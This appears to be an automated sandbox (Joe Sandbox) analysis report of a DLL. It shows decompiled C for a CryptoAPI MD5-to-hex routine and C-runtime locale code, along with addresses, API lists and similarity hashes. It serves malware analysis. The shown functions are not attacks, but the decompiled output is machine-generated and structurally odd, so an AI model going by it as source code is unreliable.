					__eflags = E6DA9CB07();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E6DA911A2(__eflags, _t8);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x6da94591
0x6da94597
0x6da945c9
0x6da945ce
0x6da945d4
0x00000000
0x6da945d4
0x6da9459b
0x6da9459d
0x6da9459d
0x6da945b4
0x6da945bd
0x6da945c5
0x00000000
0x00000000
0x6da945a5
0x6da945a7
0x00000000
0x00000000
0x6da945aa
0x6da945b0
0x6da945b2
0x00000000
0x00000000
0x6da945b2
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?), ref: 6DA945BD

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2b85b26d34151b21b432bc362282dabbe0ebaf08c6fb231569e02c6c9e6a123d
Instruction ID: e68b8bc02ec8ba14a03cd03714353322ee26ebaa31d5716a2c691b88825fd94e
Opcode Fuzzy Hash: 2b85b26d34151b21b432bc362282dabbe0ebaf08c6fb231569e02c6c9e6a123d
Instruction Fuzzy Hash: A7E0653957D72366E72116E99D00B6A7AD8AF4B6B1F164210ED34AE088DFD0DCC181E8

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6DA82E60 Relevance: 21.3, APIs: 14, Instructions: 344
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E6DA82E60(void* __ebx, int* __ecx, signed int __edx, void* __edi, intOrPtr _a4) {
				int _v8;
				intOrPtr _v16;
				int _v20;
				long* _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				int _v52;
				signed int _v56;
				int* _v60;
				int _v64;
				int _v68;
				intOrPtr _v72;
				signed int _v76;
				char _v148;
				signed char _v164;
				void _v168;
				intOrPtr* _v180;
				signed int* _v192;
				signed int* _v196;
				signed int* _v208;
				signed int* _v212;
				char _v224;
				char _v228;
				int _v348;
				intOrPtr _v356;
				void* __esi;
				void* __ebp;
				int* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t158;
				void* _t173;
				intOrPtr _t183;
				signed int _t193;
				signed int _t198;
				signed int _t203;
				signed int _t206;
				signed int _t212;
				intOrPtr _t214;
				signed int _t220;
				signed int _t228;
				signed char _t235;
				int* _t237;
				signed int _t240;
				signed int _t242;
				intOrPtr* _t246;
				void* _t248;
				void* _t249;
				intOrPtr _t251;
				intOrPtr _t252;
				void* _t255;

				_t234 = __edx;
				_push(0xffffffff);
				_push(E6DAA2401);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t251;
				_t252 = _t251 - 0xd8;
				_push(__edi);
				_t237 = __ecx;
				_v60 = __ecx;
				_t242 = __edx;
				_v64 = 0;
				_v24 = 0;
				if(CryptAcquireContextA( &_v24, 0, 0, 0x18, 0xf0000000) == 0) {
					L5:
					 *_t237 = 0;
					_t237[4] = 0;
					_push(0);
					_t237[5] = 0xf;
					 *_t237 = 0;
					E6DA81770(_t237, 0x6daaf2c7);
					 *[fs:0x0] = _v16;
					return _t237;
				} else {
					_t136 =  &_v20;
					_v20 = 0;
					__imp__CryptCreateHash(_v24, 0x8003, 0, 0, _t136);
					_push(0);
					if(_t136 == 0) {
						L4:
						CryptReleaseContext(_v24);
						goto L5;
					} else {
						__imp__CryptHashData(_v20, _t242, _a4);
						if(_t136 != 0) {
							_v32 = 0;
							_t139 =  &_v32;
							_v52 = 4;
							__imp__CryptGetHashParam(_v20, 4, _t139,  &_v52, 0);
							__eflags = _t139;
							if(_t139 == 0) {
								goto L3;
							} else {
								_t212 = _v32;
								_t206 = 0;
								_v56 = _t212;
								_t244 = 0;
								_v48 = 0;
								_v28 = 0;
								_v44 = 0;
								_v40 = 0;
								_v36 = 0;
								__eflags = _t212;
								if(_t212 == 0) {
									L15:
									_t141 =  &_v32;
									_v8 = 0;
									__imp__CryptGetHashParam(_v20, 2, _t206, _t141, 0);
									__eflags = _t141;
									if(__eflags != 0) {
										E6DA83BD0( &_v228, __eflags, _t212);
										_t244 = _t206;
										_v8 = 1;
										__eflags = _t244 - _v28;
										if(_t244 != _v28) {
											_t240 = _v28;
											asm("o16 nop [eax+eax]");
											do {
												 *((char*)(_t249 +  *((intOrPtr*)(_v228 + 4)) - 0xa0)) = 0x30;
												_t183 =  *((intOrPtr*)(_v228 + 4));
												 *((intOrPtr*)(_t249 + _t183 - 0xc0)) = 2;
												 *(_t249 + _t183 - 0xbc) = 0;
												 *( &_v208 +  *((intOrPtr*)(_v228 + 4))) =  *( &_v208 +  *((intOrPtr*)(_v228 + 4))) & 0xfffff9ff | 0x00000800;
												E6DA83E00( &_v228, _t234,  *_t244 & 0x000000ff);
												_t244 = _t244 + 1;
												__eflags = _t244 - _t240;
											} while (_t244 != _t240);
											_t237 = _v60;
										}
										__imp__CryptDestroyHash(_v20);
										CryptReleaseContext(_v24, 0);
										_v8 = 2;
										asm("xorps xmm0, xmm0");
										_t235 = _v164;
										 *_t237 = 0;
										_t237[4] = 0;
										_t237[5] = 0xf;
										 *_t237 = 0;
										_v64 = 4;
										asm("movq [ebp-0x48], xmm0");
										_v68 = 0;
										__eflags = (_t235 & 0x00000022) - 2;
										if((_t235 & 0x00000022) == 2) {
											L28:
											__eflags = _t235 & 0x00000004;
											if((_t235 & 0x00000004) != 0) {
												L31:
												_t214 = _v72;
												_t234 = _v76;
											} else {
												_t244 =  *_v196;
												__eflags = _t244;
												if(_t244 == 0) {
													goto L31;
												} else {
													_t234 =  *_v212;
													_t214 =  *_v180 - _t234 + _t244;
												}
											}
										} else {
											_t228 =  *_v192;
											__eflags = _t228;
											if(_t228 == 0) {
												goto L28;
											} else {
												__eflags = _t228 - _v168;
												_t229 =  <  ? _v168 : _t228;
												_t234 =  *_v208;
												_t214 = ( <  ? _v168 : _t228) - _t234;
											}
										}
										__eflags = _t234;
										if(_t234 != 0) {
											_push(_t214);
											E6DA81770(_t237, _t234);
										}
										_v8 = 1;
										 *((intOrPtr*)(_t249 +  *((intOrPtr*)(_v228 + 4)) - 0xe0)) = 0x6daaf3a8;
										_t90 = _v228 + 4; // 0x74736f69
										_t91 =  *_t90 - 0x50; // 0x74736f19
										 *((intOrPtr*)(_t249 +  *_t90 - 0xe4)) = _t91;
										E6DA83840( &_v224, _t244);
										_t96 = _v228 + 4; // 0x74736f69
										 *((intOrPtr*)(_t249 +  *_t96 - 0xe0)) = 0x6daaf448;
										_t100 = _v228 + 4; // 0x6dab006c
										_t101 =  *_t100 - 8; // 0x6dab0064
										 *((intOrPtr*)(_t249 +  *_t100 - 0xe4)) = _t101;
										_v8 = 3;
										_v148 = 0x6daaf3c8;
										E6DA88D06( &_v148);
										_t252 = _t252 + 4;
										__eflags = _t206;
										if(_t206 == 0) {
											goto L39;
										} else {
											_t158 = _t206;
											_t220 = _v40 - _t206;
											__eflags = _t220 - 0x1000;
											if(_t220 < 0x1000) {
												L37:
												_push(_t220);
												_push(_t206);
												goto L38;
											} else {
												_t206 =  *(_t206 - 4);
												_t220 = _t220 + 0x23;
												__eflags = _t158 - _t206 + 0xfffffffc - 0x1f;
												if(_t158 - _t206 + 0xfffffffc > 0x1f) {
													goto L42;
												} else {
													goto L37;
												}
											}
										}
									} else {
										__imp__CryptDestroyHash(_v20);
										CryptReleaseContext(_v24, 0);
										_push(0);
										 *_t237 = 0;
										_t237[4] = 0;
										_t237[5] = 0xf;
										 *_t237 = 0;
										E6DA81770(_t237, 0x6daaf2c7);
										_t193 = _v36;
										__eflags = _t193;
										if(_t193 == 0) {
											L39:
											 *[fs:0x0] = _v16;
											return _t237;
										} else {
											_t248 = _t244 - _t193;
											__eflags = _t248 - 0x1000;
											if(_t248 < 0x1000) {
												L20:
												_push(_t248);
												_push(_t193);
												L38:
												E6DA893C9();
												goto L39;
											} else {
												_t220 =  *(_t193 - 4);
												_t244 = _t248 + 0x23;
												__eflags = _t193 - _t220 + 0xfffffffc - 0x1f;
												if(_t193 - _t220 + 0xfffffffc > 0x1f) {
													goto L42;
												} else {
													_t193 = _t220;
													goto L20;
												}
											}
										}
									}
								} else {
									__eflags = _t212 - 0x7fffffff;
									if(_t212 > 0x7fffffff) {
										E6DA819E0(_t212);
										goto L41;
									} else {
										__eflags = _t212 - 0x1000;
										if(__eflags < 0) {
											_t198 = E6DA89399(_t237, 0, __eflags, _t212);
											_t255 = _t252 + 4;
											_t206 = _t198;
											goto L14;
										} else {
											_t27 = _t212 + 0x23; // 0x23
											_t202 = _t27;
											__eflags = _t27 - _t212;
											if(__eflags <= 0) {
												L41:
												E6DA81420();
												goto L42;
											} else {
												_t203 = E6DA89399(_t237, 0, __eflags, _t202);
												_t252 = _t252 + 4;
												__eflags = _t203;
												if(_t203 == 0) {
													L42:
													E6DA8DACF(_t206, _t220, _t234);
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													_push(_t249);
													_push(0xffffffff);
													_push(E6DAA23C0);
													_push( *[fs:0x0]);
													 *[fs:0x0] = _t252;
													_t246 = _t220 + 0x50;
													 *((intOrPtr*)( *((intOrPtr*)( *_t220 + 4)) + _t246 - 0x50)) = 0x6daaf3a8;
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t246 - 0x50)) + 4)) + _t246 - 0x54)) =  *((intOrPtr*)( *((intOrPtr*)(_t246 - 0x50)) + 4)) - 0x50;
													E6DA83840(_t246 - 0x4c, _t246, _t244);
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t246 - 0x50)) + 4)) + _t246 - 0x50)) = 0x6daaf448;
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t246 - 0x50)) + 4)) + _t246 - 0x54)) =  *((intOrPtr*)( *((intOrPtr*)(_t246 - 0x50)) + 4)) - 8;
													_v348 = 0;
													 *_t246 = 0x6daaf3c8;
													_t173 = E6DA88D06(_t246);
													 *[fs:0x0] = _v356;
													return _t173;
												} else {
													_t28 = _t203 + 0x23; // 0x23
													_t206 = _t28 & 0xffffffe0;
													 *(_t206 - 4) = _t203;
													L14:
													_t212 = _t206 + _v56;
													_v48 = _t206;
													_t244 = _t212;
													_v28 = _t212;
													_v40 = _t244;
													E6DA8B0A0(_t237, _t206, 0, _v56);
													_v36 = _t206;
													_t252 = _t255 + 0xc;
													_v44 = _t244;
													goto L15;
												}
											}
										}
									}
								}
							}
						} else {
							L3:
							__imp__CryptDestroyHash(_v20);
							_push(0);
							goto L4;
						}
					}
				}
			}

0x6da82e60
0x6da82e63
0x6da82e65
0x6da82e70
0x6da82e71
0x6da82e78
0x6da82e80
0x6da82e8a
0x6da82e8f
0x6da82e92
0x6da82e96
0x6da82e9e
0x6da82ead
0x6da82ef7
0x6da82ef7
0x6da82eff
0x6da82f06
0x6da82f08
0x6da82f14
0x6da82f17
0x6da82f21
0x6da82f2e
0x6da82eaf
0x6da82eaf
0x6da82eb2
0x6da82ec6
0x6da82ecc
0x6da82ed0
0x6da82eee
0x6da82ef1
0x00000000
0x6da82ed2
0x6da82ed9
0x6da82ee1
0x6da82f34
0x6da82f3c
0x6da82f3f
0x6da82f4c
0x6da82f52
0x6da82f54
0x00000000
0x6da82f56
0x6da82f56
0x6da82f5b
0x6da82f5d
0x6da82f60
0x6da82f62
0x6da82f65
0x6da82f68
0x6da82f6b
0x6da82f6e
0x6da82f71
0x6da82f73
0x6da82fe0
0x6da82fe2
0x6da82fe5
0x6da82ff3
0x6da82ff9
0x6da82ffb
0x6da8306f
0x6da83074
0x6da83076
0x6da8307a
0x6da8307d
0x6da8307f
0x6da83086
0x6da83090
0x6da8309f
0x6da830ad
0x6da830b0
0x6da830bb
0x6da830dd
0x6da830e9
0x6da830ee
0x6da830ef
0x6da830ef
0x6da830f3
0x6da830f3
0x6da830f9
0x6da83104
0x6da8310a
0x6da8310e
0x6da83111
0x6da8311b
0x6da83121
0x6da83128
0x6da8312f
0x6da83132
0x6da83139
0x6da8313e
0x6da83145
0x6da83147
0x6da8316e
0x6da8316e
0x6da83171
0x6da83195
0x6da83195
0x6da83198
0x6da83173
0x6da83179
0x6da8317b
0x6da8317d
0x00000000
0x6da8317f
0x6da83185
0x6da83191
0x6da83191
0x6da8317d
0x6da83149
0x6da8314f
0x6da83151
0x6da83153
0x00000000
0x6da83155
0x6da8315b
0x6da83161
0x6da83168
0x6da8316a
0x6da8316a
0x6da83153
0x6da8319b
0x6da8319d
0x6da8319f
0x6da831a3
0x6da831a3
0x6da831a8
0x6da831b8
0x6da831c9
0x6da831cc
0x6da831cf
0x6da831dc
0x6da831e7
0x6da831ea
0x6da831fb
0x6da831fe
0x6da83201
0x6da8320e
0x6da83213
0x6da8321d
0x6da83222
0x6da83225
0x6da83227
0x00000000
0x6da83229
0x6da8322c
0x6da8322e
0x6da83230
0x6da83236
0x6da83248
0x6da83248
0x6da83249
0x00000000
0x6da83238
0x6da83238
0x6da8323b
0x6da83243
0x6da83246
0x00000000
0x00000000
0x00000000
0x00000000
0x6da83246
0x6da83236
0x6da82ffd
0x6da83000
0x6da8300b
0x6da83011
0x6da83013
0x6da8301b
0x6da83022
0x6da8302e
0x6da83031
0x6da83036
0x6da83039
0x6da8303b
0x6da83252
0x6da83259
0x6da83264
0x6da83041
0x6da83041
0x6da83043
0x6da83049
0x6da83061
0x6da83061
0x6da83062
0x6da8324a
0x6da8324a
0x00000000
0x6da8304b
0x6da8304b
0x6da8304e
0x6da83056
0x6da83059
0x00000000
0x6da8305f
0x6da8305f
0x00000000
0x6da8305f
0x6da83059
0x6da83049
0x6da8303b
0x6da82f75
0x6da82f75
0x6da82f7b
0x6da83265
0x00000000
0x6da82f81
0x6da82f81
0x6da82f87
0x6da82fb1
0x6da82fb6
0x6da82fb9
0x00000000
0x6da82f89
0x6da82f89
0x6da82f89
0x6da82f8c
0x6da82f8e
0x6da8326a
0x6da8326a
0x00000000
0x6da82f94
0x6da82f95
0x6da82f9a
0x6da82f9d
0x6da82f9f
0x6da8326f
0x6da8326f
0x6da83274
0x6da83275
0x6da83276
0x6da83277
0x6da83278
0x6da83279
0x6da8327a
0x6da8327b
0x6da8327c
0x6da8327d
0x6da8327e
0x6da8327f
0x6da83280
0x6da83289
0x6da8328b
0x6da83290
0x6da83291
0x6da8329b
0x6da832a1
0x6da832b2
0x6da832b9
0x6da832c4
0x6da832d5
0x6da832d9
0x6da832e1
0x6da832e7
0x6da832f2
0x6da832fd
0x6da82fa5
0x6da82fa5
0x6da82fa8
0x6da82fab
0x6da82fbb
0x6da82fc2
0x6da82fc5
0x6da82fc8
0x6da82fca
0x6da82fcd
0x6da82fd0
0x6da82fd7
0x6da82fda
0x6da82fdd
0x00000000
0x6da82fdd
0x6da82f9f
0x6da82f8e
0x6da82f87
0x6da82f7b
0x6da82f73
0x6da82ee3
0x6da82ee3
0x6da82ee6
0x6da82eec
0x00000000
0x6da82eec
0x6da82ee1
0x6da82ed0

APIs

CryptAcquireContextA.ADVAPI32(000000FF,00000000,00000000,00000018,F0000000,00000000,6DAD48E8,00000000), ref: 6DA82EA5
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 6DA82EC6
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 6DA82ED9
CryptDestroyHash.ADVAPI32(00000000), ref: 6DA82EE6
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 6DA82EF1
CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,?,00000000), ref: 6DA82F4C
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 6DA82FF3
CryptDestroyHash.ADVAPI32(00000000), ref: 6DA83000
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 6DA8300B
CryptDestroyHash.ADVAPI32(00000000), ref: 6DA830F9
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 6DA83104
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 6DA8321D
Concurrency::cancel_current_task.LIBCPMT ref: 6DA8326A
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 6DA832E7

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: Crypt$Hash$Context$DestroyRelease$Ios_base_dtorParamstd::ios_base::_$AcquireConcurrency::cancel_current_taskCreateData
String ID:
API String ID: 1151079929-0
Opcode ID: 134b624ceb773a88268b25f6e2e8248c5014904688bb71e92ac06a6898949af8
Instruction ID: c52cf2d13114aff00d3726297c697f8707102f4e3ea74b80d23507ca319cc1a0
Opcode Fuzzy Hash: 134b624ceb773a88268b25f6e2e8248c5014904688bb71e92ac06a6898949af8
Instruction Fuzzy Hash: 9AD1CF74A08219DFEB14CF58CD84BAEBBB4FF09304F1442A9E919AB381D775A984CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9BFAE Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 70%

			E6DA9BFAE(void* __ecx, void* __edx, intOrPtr* _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v40;
				signed int _v52;
				char _v252;
				short _v292;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t33;
				short* _t34;
				intOrPtr* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed short _t39;
				signed short* _t42;
				intOrPtr _t45;
				void* _t47;
				signed int _t50;
				void* _t52;
				signed int _t56;
				void* _t68;
				void* _t72;
				void* _t73;
				void* _t77;
				intOrPtr* _t84;
				short* _t87;
				void* _t89;
				intOrPtr* _t92;
				intOrPtr* _t96;
				signed int _t114;
				void* _t115;
				intOrPtr* _t117;
				intOrPtr _t119;
				signed int* _t120;
				void* _t121;
				void* _t122;
				intOrPtr* _t123;
				signed short _t125;
				int _t127;
				void* _t128;
				void* _t131;
				signed int _t132;

				_push(__ecx);
				_push(__ecx);
				_push(_t122);
				_t117 = _a4;
				_t33 = E6DA92BDC(__ecx, __edx, _t122);
				_t114 = 0;
				_v12 = 0;
				_t3 = _t33 + 0x50; // 0x50
				_t123 = _t3;
				_t4 = _t123 + 0x250; // 0x2a0
				_t34 = _t4;
				 *((intOrPtr*)(_t123 + 8)) = 0;
				 *_t34 = 0;
				_t6 = _t123 + 4; // 0x54
				_t84 = _t6;
				_v8 = _t34;
				_t92 = _t117;
				_t35 = _t117 + 0x80;
				 *_t123 = _t117;
				 *_t84 = _t35;
				if( *_t35 != 0) {
					E6DA9BF41(0x6daa8460, 0x16, _t84);
					_t92 =  *_t123;
					_t131 = _t131 + 0xc;
					_t114 = 0;
				}
				_push(_t123);
				if( *_t92 == _t114) {
					E6DA9B8B2(_t84, _t92);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t84)) == _t114) {
						E6DA9B9D2();
					} else {
						E6DA9B939(_t92);
					}
					if( *((intOrPtr*)(_t123 + 8)) == 0) {
						_t77 = E6DA9BF41(0x6daa8150, 0x40, _t123);
						_t131 = _t131 + 0xc;
						if(_t77 != 0) {
							_push(_t123);
							if( *((intOrPtr*)( *_t84)) == 0) {
								E6DA9B9D2();
							} else {
								E6DA9B939(0);
							}
							L12:
						}
					}
				}
				if( *((intOrPtr*)(_t123 + 8)) == 0) {
					L37:
					_t37 = 0;
					goto L38;
				} else {
					_t38 = _t117 + 0x100;
					if( *_t117 != 0 ||  *_t38 != 0) {
						_t39 = E6DA9BDFE(_t38, _t123);
					} else {
						_t39 = GetACP();
					}
					_t125 = _t39;
					if(_t125 == 0 || _t125 == 0xfde8 || IsValidCodePage(_t125 & 0x0000ffff) == 0) {
						goto L37;
					} else {
						_t42 = _a8;
						if(_t42 != 0) {
							 *_t42 = _t125;
						}
						_t119 = _a12;
						if(_t119 == 0) {
							L36:
							_t37 = 1;
							L38:
							return _t37;
						} else {
							_t96 = _v8;
							_t15 = _t119 + 0x120; // 0xd0
							_t87 = _t15;
							 *_t87 = 0;
							_t16 = _t96 + 2; // 0x6
							_t115 = _t16;
							do {
								_t45 =  *_t96;
								_t96 = _t96 + 2;
							} while (_t45 != _v12);
							_t18 = (_t96 - _t115 >> 1) + 1; // 0x3
							_t47 = E6DA9B800(_t96 - _t115 >> 1, _t87, 0x55, _v8);
							_t132 = _t131 + 0x10;
							if(_t47 != 0) {
								L39:
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E6DA8DAEC();
								asm("int3");
								_t130 = _t132;
								_t50 =  *0x6dab3014; // 0x6c4e8ceb
								_v52 = _t50 ^ _t132;
								_push(_t87);
								_push(_t125);
								_t126 = _v40;
								_push(_t119);
								_t52 = E6DA92BDC(_t98, _t115, _v40);
								_t88 = _t52;
								_t120 =  *(E6DA92BDC(_t98, _t115, _v40) + 0x34c);
								_t127 = E6DA9C6E9(_t126);
								asm("sbb ecx, ecx");
								_t56 = GetLocaleInfoW(_t127, ( ~( *(_t52 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								if(_t56 != 0) {
									if(E6DA990B4(_t120, _t127,  *((intOrPtr*)(_t88 + 0x54)),  &_v252) == 0 && E6DA9C81E(_t127) != 0) {
										 *_t120 =  *_t120 | 0x00000004;
										_t120[2] = _t127;
										_t120[1] = _t127;
									}
									_t62 =  !( *_t120 >> 2) & 0x00000001;
								} else {
									 *_t120 =  *_t120 & _t56;
									_t62 = _t56 + 1;
								}
								_pop(_t121);
								_pop(_t128);
								_pop(_t89);
								return E6DA89B91(_t62, _t89, _v12 ^ _t130, _t115, _t121, _t128);
							} else {
								if(E6DA96812(_t87, 0x1001, _t119, 0x40) == 0) {
									goto L37;
								} else {
									_t20 = _t119 + 0x80; // 0x30
									_t87 = _t20;
									_t21 = _t119 + 0x120; // 0xd0
									if(E6DA96812(_t21, 0x1002, _t87, 0x40) == 0) {
										goto L37;
									} else {
										_push(0x5f);
										_t68 = E6DAA21B7(_t98);
										_t98 = _t87;
										if(_t68 != 0) {
											L31:
											_t22 = _t119 + 0x120; // 0xd0
											if(E6DA96812(_t22, 7, _t87, 0x40) == 0) {
												goto L37;
											} else {
												goto L32;
											}
										} else {
											_push(0x2e);
											_t73 = E6DAA21B7(_t98);
											_t98 = _t87;
											if(_t73 == 0) {
												L32:
												_t119 = _t119 + 0x100;
												if(_t125 != 0xfde9) {
													E6DAA0752(_t98, _t125, _t119, 0x10, 0xa);
													goto L36;
												} else {
													_push(5);
													_t72 = E6DA9B800(_t98, _t119, 0x10, L"utf8");
													_t132 = _t132 + 0x10;
													if(_t72 != 0) {
														goto L39;
													} else {
														goto L36;
													}
												}
											} else {
												goto L31;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x6da9bfb3
0x6da9bfb4
0x6da9bfb6
0x6da9bfb8
0x6da9bfbb
0x6da9bfc2
0x6da9bfc4
0x6da9bfc7
0x6da9bfc7
0x6da9bfca
0x6da9bfca
0x6da9bfd0
0x6da9bfd3
0x6da9bfd6
0x6da9bfd6
0x6da9bfd9
0x6da9bfdc
0x6da9bfde
0x6da9bfe4
0x6da9bfe6
0x6da9bfeb
0x6da9bff5
0x6da9bffa
0x6da9bffc
0x6da9bfff
0x6da9bfff
0x6da9c001
0x6da9c005
0x6da9c04e
0x00000000
0x6da9c007
0x6da9c00c
0x6da9c015
0x6da9c00e
0x6da9c00e
0x6da9c00e
0x6da9c020
0x6da9c02a
0x6da9c02f
0x6da9c034
0x6da9c03a
0x6da9c03e
0x6da9c047
0x6da9c040
0x6da9c040
0x6da9c040
0x6da9c053
0x6da9c053
0x6da9c034
0x6da9c020
0x6da9c059
0x6da9c195
0x6da9c195
0x00000000
0x6da9c05f
0x6da9c05f
0x6da9c068
0x6da9c079
0x6da9c06f
0x6da9c06f
0x6da9c06f
0x6da9c080
0x6da9c084
0x00000000
0x6da9c0a8
0x6da9c0a8
0x6da9c0ad
0x6da9c0af
0x6da9c0af
0x6da9c0b1
0x6da9c0b6
0x6da9c190
0x6da9c192
0x6da9c197
0x6da9c19b
0x6da9c0bc
0x6da9c0bc
0x6da9c0bf
0x6da9c0bf
0x6da9c0c7
0x6da9c0ca
0x6da9c0ca
0x6da9c0cd
0x6da9c0cd
0x6da9c0d0
0x6da9c0d3
0x6da9c0dd
0x6da9c0e7
0x6da9c0ec
0x6da9c0f1
0x6da9c19c
0x6da9c19e
0x6da9c19f
0x6da9c1a0
0x6da9c1a1
0x6da9c1a2
0x6da9c1a3
0x6da9c1a8
0x6da9c1ac
0x6da9c1b4
0x6da9c1bb
0x6da9c1be
0x6da9c1bf
0x6da9c1c0
0x6da9c1c3
0x6da9c1c4
0x6da9c1c9
0x6da9c1d1
0x6da9c1e0
0x6da9c1ec
0x6da9c1fd
0x6da9c205
0x6da9c21f
0x6da9c22c
0x6da9c22f
0x6da9c232
0x6da9c232
0x6da9c23c
0x6da9c207
0x6da9c207
0x6da9c209
0x6da9c209
0x6da9c242
0x6da9c243
0x6da9c246
0x6da9c24d
0x6da9c0f7
0x6da9c107
0x00000000
0x6da9c10d
0x6da9c10f
0x6da9c10f
0x6da9c11b
0x6da9c129
0x00000000
0x6da9c12b
0x6da9c12b
0x6da9c12e
0x6da9c134
0x6da9c137
0x6da9c147
0x6da9c14c
0x6da9c15a
0x00000000
0x00000000
0x00000000
0x00000000
0x6da9c139
0x6da9c139
0x6da9c13c
0x6da9c142
0x6da9c145
0x6da9c15c
0x6da9c15c
0x6da9c168
0x6da9c188
0x00000000
0x6da9c16a
0x6da9c16a
0x6da9c174
0x6da9c179
0x6da9c17e
0x00000000
0x6da9c180
0x00000000
0x6da9c180
0x6da9c17e
0x00000000
0x00000000
0x00000000
0x6da9c145
0x6da9c137
0x6da9c129
0x6da9c107
0x6da9c0f1
0x6da9c0b6
0x6da9c084

APIs

Part of subcall function 6DA92BDC: GetLastError.KERNEL32(?,00000008,6DA98ED9), ref: 6DA92BE0
Part of subcall function 6DA92BDC: SetLastError.KERNEL32(00000000,?,00000005,000000FF), ref: 6DA92C82

GetACP.KERNEL32(?,?,?,?,?,?,6DA9361F,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 6DA9C06F
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,6DA9361F,?,?,?,00000055,?,-00000050,?,?), ref: 6DA9C09A
_wcschr.LIBVCRUNTIME ref: 6DA9C12E
_wcschr.LIBVCRUNTIME ref: 6DA9C13C
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 6DA9C1FD

Strings

utf8, xrefs: 6DA9C16C

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: 460e3757473499b3acedd39295f94c3f7e9923c3568a295f982efffb07408232
Instruction ID: 4263c8687c5795e0899addb16826112fc55b9bb746515c28ac501e415c2ba56c
Opcode Fuzzy Hash: 460e3757473499b3acedd39295f94c3f7e9923c3568a295f982efffb07408232
Instruction Fuzzy Hash: 4E71057562CB06AAEB149B75CD81BB673F8EF09304F198129E615DF1C0EB74E9C087A4

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9CC86 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436
COMMONCrypto

Download Yara Rule

